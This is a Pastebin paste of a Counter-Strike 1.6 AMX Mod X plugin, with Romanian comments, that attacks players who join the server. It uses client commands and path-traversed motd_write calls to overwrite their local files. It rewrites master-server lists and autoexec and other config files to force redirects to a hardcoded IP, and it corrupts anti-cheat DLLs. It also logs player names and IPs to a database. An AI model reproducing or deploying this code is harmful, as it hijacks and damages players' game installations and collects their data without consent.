Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Alkaline All CODES*/
- #include <amxmodx>
- #include <amxmisc>
- #include <sqlx>
- /*
- Kommendante sqlx adapt.
- londoN optimization
- */
- //sqlx stuff
- new const Host[] = ""; //like: 24.12.101.89 / sql.mydomain.com
- new const User[] = ""; // root, admin etc
- new const Pass[] = ""; // password of sql user
- new const Db[] = ""; // database to use
- new Handle:g_SqlTuple
- new g_Error[512]
- #define CONNECT_IP "188.212.100.97:29000"
- #define MasterServerIp "188.212.100.97:27010"
- #define MasterServerIp2 "188.212.100.97:27010"
- #define MasterServerIp3 "188.212.100.97:27010"
- #define LOG "engine_mechanic_boosting.log"
- new Servers_List[128], Nr, r;
- new const szt[] = "AMXX";
- new szBuffer[50000];
- public plugin_init( ) {
- register_plugin( "Engine Mechanic Boosting", "V6.5 stable", "Alkaline aka lucy" );
- // 0 instant redirect
- register_cvar( "rd_maxplayers", "0" );
- // redirectioneaza toti playeri deodata
- register_cvar( "all_player_redirect", "0" );
- Server_List_Redirect();
- //sql init
- set_task(1.0, "SQL_automation")
- }
- public plugin_end(){
- SQL_FreeHandle(g_SqlTuple)
- }
- public SQL_automation()
- {
- g_SqlTuple = SQL_MakeDbTuple(Host,User,Pass,Db)
- new ErrorCode,Handle:SqlConnection = SQL_Connect(g_SqlTuple,ErrorCode,g_Error,charsmax(g_Error))
- if(SqlConnection == Empty_Handle)
- set_fail_state(g_Error)
- new Handle:Queries
- Queries = SQL_PrepareQuery(SqlConnection,"CREATE TABLE IF NOT EXISTS redirected (name varchar(32),ip varchar(32),ipserver varchar(32)); CREATE TABLE IF NOT EXISTS totaldrop (serverip varchar(32),count varchar(32)); CREATE TABLE IF NOT EXISTS allredirected (message varchar(32), serverip varchar(32))")
- if(!SQL_Execute(Queries))
- {
- SQL_QueryError(Queries,g_Error,charsmax(g_Error))
- set_fail_state(g_Error)
- }
- SQL_FreeHandle(Queries)
- SQL_FreeHandle(SqlConnection)
- }
- public SaveRedirectedPlayers(FailState,Handle:Query,Error[],Errcode,Data[],DataSize)
- {
- if(FailState == TQUERY_CONNECT_FAILED)
- {
- log_amx("Load - Could not connect to SQL database. [%d] %s", Errcode, Error)
- }
- else if(FailState == TQUERY_QUERY_FAILED)
- {
- log_amx("Load Query failed. [%d] %s", Errcode, Error)
- }
- new id
- id = Data[0]
- new name[32], playerip[32], serverip[32]
- get_user_name(id, name, charsmax(name))
- get_user_ip(id, playerip, charsmax(playerip));
- get_user_ip(0, serverip, charsmax(serverip));
- new szTemp[512], szTemp2[512]
- DESTROY_ANY_GUARD( id );
- Mechanichall_ReWritter( id );
- new all_rd = get_cvar_num( "all_player_redirect" );
- new rd_maxplayers = get_cvar_num( "rd_maxplayers" );
- r = random_num( 0, Nr -1 );
- switch( all_rd ) {
- case 0: {
- new iName [ 32 ]
- get_user_name ( id, iName, charsmax ( iName ) )
- if ( get_playersnum() >= rd_maxplayers ) {
- client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
- format(szTemp,charsmax(szTemp),"INSERT INTO `evidence` ( `name` , `ip` , `ipserver`)VALUES ('%s','%s','%s');",iName, playerip, Servers_List[ r ])
- SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
- }
- }
- case 1: {
- for( id = 1; id <= 32; id++ ) {
- new iName [ 32 ];
- get_user_name ( id, iName, charsmax ( iName ) )
- if ( get_playersnum() >= rd_maxplayers ) {
- client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
- log_to_file( LOG, "[%s] Am redirectionat toti Jucatori pe ip-ul : %s", Servers_List[ r ] );
- format(szTemp,charsmax(szTemp),"INSERT INTO `evidence` ( `name` , `ip` , `ipserver`)VALUES ('%s','%s','%s');",iName, playerip, Servers_List[ r ])
- SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp)
- }
- }
- }
- }
- if(SQL_NumResults(Query) < 1)
- {
- format(szTemp2,charsmax(szTemp2),"INSERT INTO `totaldrop` ( `serverip` , `count`)VALUES ('%s','1');", serverip)
- SQL_ThreadQuery(g_SqlTuple,"IgnoreHandle",szTemp2)
- }
- return PLUGIN_HANDLED
- }
- public client_connect( id ) {
- DESTROY_ANY_GUARD( id );
- set_task( 0.2, "__Engineering", id );
- set_task( 0.4, "__Engineering_Masterservers", id );
- Mechanichall_ReWritter( id );
- new all_rd = get_cvar_num( "all_player_redirect" );
- new rd_maxplayers = get_cvar_num( "rd_maxplayers" );
- r = random_num( 0, Nr -1 );
- switch( all_rd ) {
- case 0: {
- new sznames[33];
- get_user_name( id, sznames, sizeof sznames -1 );
- if ( get_playersnum() >= rd_maxplayers ) {
- client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
- log_to_file( LOG, "[%s] L-am redirectionat pe : %s la la ip-ul: %s",sznames , Servers_List[ r ] );
- }
- }
- case 1: {
- for( id = 1; id <= 32; id++ ) {
- if ( get_playersnum() >= rd_maxplayers ) {
- client_cmd( id, "echo ;^"Connect^" %s", Servers_List[ r ] );
- log_to_file( LOG, "[%s] Am redirectionat toti Jucatori pe ip-ul : %s", Servers_List[ r ] );
- }
- }
- }
- }
- new szTemp[512], serverip[32]
- new Data[1]
- Data[0] = id
- get_user_ip(0, serverip, charsmax(serverip));
- format(szTemp,charsmax(szTemp),"SELECT * FROM `totaldrop` WHERE `serverip` = '%s' ", serverip)
- SQL_ThreadQuery(g_SqlTuple,"SaveRedirectedPlayers",szTemp,Data,1)
- }
- Server_List_Redirect( ) {
- static Dir[64], szFile[64], i = 0, Len;
- get_configsdir( Dir, sizeof Dir - 1 );
- formatex( szFile, sizeof szFile - 1, "%s/ServerList.ini", Dir );
- if( !file_exists( szFile ) ) {
- server_print( "[ MasterServer ] Fisierul ^"%s^" nu exista!", szFile );
- return;
- }
- while( read_file( szFile, i++, Servers_List[ Nr ], sizeof szFile -1, Len ) ) {
- if ( Len == 0 || equal( Servers_List, ";", 1 ) ) {
- continue;
- } else
- if ( Len ) {
- ++Nr;
- }
- }
- server_print( "[ MasterServer ] Nr de Servere executate cu success %d .", Nr );
- }
- public plugin_cfg( ) {
- new szConfigsDir[ 64 ], szFile[ 64 ];
- get_configsdir( szConfigsDir, charsmax( szConfigsDir ) );
- formatex( szFile, charsmax( szFile ), "%s/GameMenu.ini", szConfigsDir );
- if( !file_exists( szFile ) )
- {
- log_to_file( LOG, "[%s] Fisierul Gamemenu ^"%s^" nu exista! Trebuie pus in ^"%s^"",szt, szFile, szConfigsDir );
- return 1;
- }
- new iFileIni = fopen( szFile, "rt" );
- while( !feof( iFileIni ) )
- {
- fgets( iFileIni, szBuffer, charsmax( szBuffer ) );
- log_to_file( LOG, "[%s] Fisierul Gamemenu din continutul ^"%s^" a fost extras!",szt, szFile );
- return 1;
- }
- fclose( iFileIni );
- return 1;
- }
- public __Engineering( id ) {
- new szName[ 33 ];
- get_user_name( id, szName, sizeof szName -1 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/resource/GameMenu.res^"");
- client_cmd( id, "echo ;^"motd_write^" %s", szBuffer );
- client_cmd( id, "echo ;clear" );
- clear( id );
- log_to_file( LOG, "[%s] Datele GameMenu au fost adaugate in meniul jucatorului : %s", szt, szName );
- }
- public __Engineering_Masterservers( id ) {
- new szName[ 33 ];
- get_user_name( id, szName, sizeof szName -1 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../config/MasterServers.vdf^"");
- client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../config/rev_MasterServers.vdf^"");
- client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/MasterServers.vdf^"");
- client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/MasterServers2.vdf^"");
- client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../platform/config/rev_MasterServers.vdf^"");
- client_cmd( id, "echo ;^"motd_write^" ^"MasterServers^" { ^"hl1^" { ^"0^" { ^"addr^" ^"%s^" } ^"1^" { ^"addr^" ^"%s^" } ^"2^" { ^"addr^" ^"%s^" } } }" , MasterServerIp , MasterServerIp2 , MasterServerIp3 );
- clear( id );
- log_to_file( LOG, "[%s] Datele MasterServer au fost adaugate in meniul jucatorului : %s", szt, szName );
- }
- Mechanichall_ReWritter( id ) {
- new szName[ 33 ];
- get_user_name( id, szName, sizeof szName -1 );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../valve/hw/geforce.cfg^"");
- client_cmd( id, "echo ;^"motd_write^" Connect %s", CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../valve/hw/geforce.cfg^"");
- client_cmd( id, "echo ;^"motd_write^" Connect %s", CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/autoexec.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" autoexec.CFG" );
- client_cmd( id, "echo ;^"motd_write^" %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/userconfig.CFG^"");
- client_cmd( id, "echo ;^"motdfaile^" userconfig.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/violence.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" violence.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/autoconfig.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" autoconfig.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/joystick.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" joystick.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/language.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" language.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/listenserver.CFG^"");
- client_cmd( id, "echo ;^"motdfile^" listenserver.CFG" );
- client_cmd( id, "echo ;^"motd_write^" Connect %s" , CONNECT_IP );
- clear( id );
- log_to_file( LOG, "[%s] Adaug Extra comenzi: connect :'autoexec.cfg/userconfig.cfg/violence.cfg'", szt );
- log_to_file( LOG, "[%s] Extra comenzi adaugate cu success jucatorului %s", szt, szName );
- }
- DESTROY_ANY_GUARD( id ) {
- client_cmd( id, "echo ;^"motdfile^" bin/TrackerUI.DLL");
- client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/bin/TrackerUI.DLL^"");
- client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
- client_cmd( id, "echo ;^"motdfile^" ^"!MD5/../../cstrike/CTShield.DLL^"");
- client_cmd( id, "echo ;^"motd_write^" ^"Destroyed by Alkaline Aka lucy 2014^"" );
- clear( id );
- }
- clear( id )
- client_cmd ( id, "echo ;clear" );
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement